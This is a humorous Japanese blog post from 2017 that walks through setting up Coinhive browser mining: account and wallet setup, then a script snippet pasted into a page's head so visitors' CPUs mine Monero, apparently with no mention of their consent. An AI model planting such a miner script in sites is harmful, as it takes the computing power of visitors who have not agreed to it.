最先端技術即席実装(SSJ)

最先端技術即席実装(SSJ)

いかに時間をかけないで、最新技術を使いこなすかを目標にした活動記録

閲覧者のCPUパワーで仮想通貨マイニングしてみた | Coinhive で XMR マイニング

f:id:tetsuyaimagawa:20170921130304j:plain

あらすじ

トレントサイトが、訪問者のCPUを使って仮想通貨マイニングをするという事件が起こった。

gigazine.net


一体どんなトリックを…と調べたところ
どうやらjsで簡単にできてしまうようだ。

なんと恐ろしい。

というわけで、いつもの調子でやってみたログを残す。



Coinhiveのアカウント作成

Coinhiveのサイトからサインアップする。
coin-hive.com






f:id:tetsuyaimagawa:20170921131036p:plain

メールとパスワードを登録すると、認証メールが届くので確認する。





f:id:tetsuyaimagawa:20170921131336p:plain

ペイメント設定をする。
MyMoneroのウォレットが必要。




MyMoneroでウォレット作成

MyMoneroでウォレット作成。


f:id:tetsuyaimagawa:20170921131904p:plain
Create an accountを押す。



f:id:tetsuyaimagawa:20170921131812p:plain
Your Private Login Key をメモ帳に保存する。
そしてConfirm your Private Login Keyにコピペし、ログイン。





f:id:tetsuyaimagawa:20170921132222p:plain

出て来たアドレスをコピーし、CoinhiveのMonero Payment Addressにペーストする。


Site keyの取得

Sites & API Keysの設定ページでサイト名を入れて、Site Key (Public)を取得する。
f:id:tetsuyaimagawa:20170921133005p:plain


Script取得

Coinhiveのトップページにある下記ソースをコピる。

<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
	var miner = new CoinHive.User('<site-key>', 'john-doe');
	miner.start();
</script>

site-keyを先ほどのSite Key (Public)に置き換える。


貼る

htmlのheadに貼る。

訪問すると、PCがウァンウァン言い出す。
デベロッパーツールを開くと、たしかにjsが変なものを召喚している。
f:id:tetsuyaimagawa:20170921133516p:plain


マイニング状況を見る

ダッシュボードで状況が見れる。



しばらくPCをウァンウァン言わせてから、ダッシュボードを覗く。




f:id:tetsuyaimagawa:20170921135154p:plain




お…




早速 0.00000876 XMR 儲かったようだ。




何もしなくてもお金が儲かってしまった。




日本の未来は明るい。




ちなみに




0.00000876 XMR は




日本円に換算すると9銭らしい





・・・




f:id:tetsuyaimagawa:20170921134901j:plain




_人人人_
> 9 銭 <
 ̄YYY ̄




働きたくないでござるーーーーー!!!





地道にコインチェックで儲けていくことにしました。





めでたし。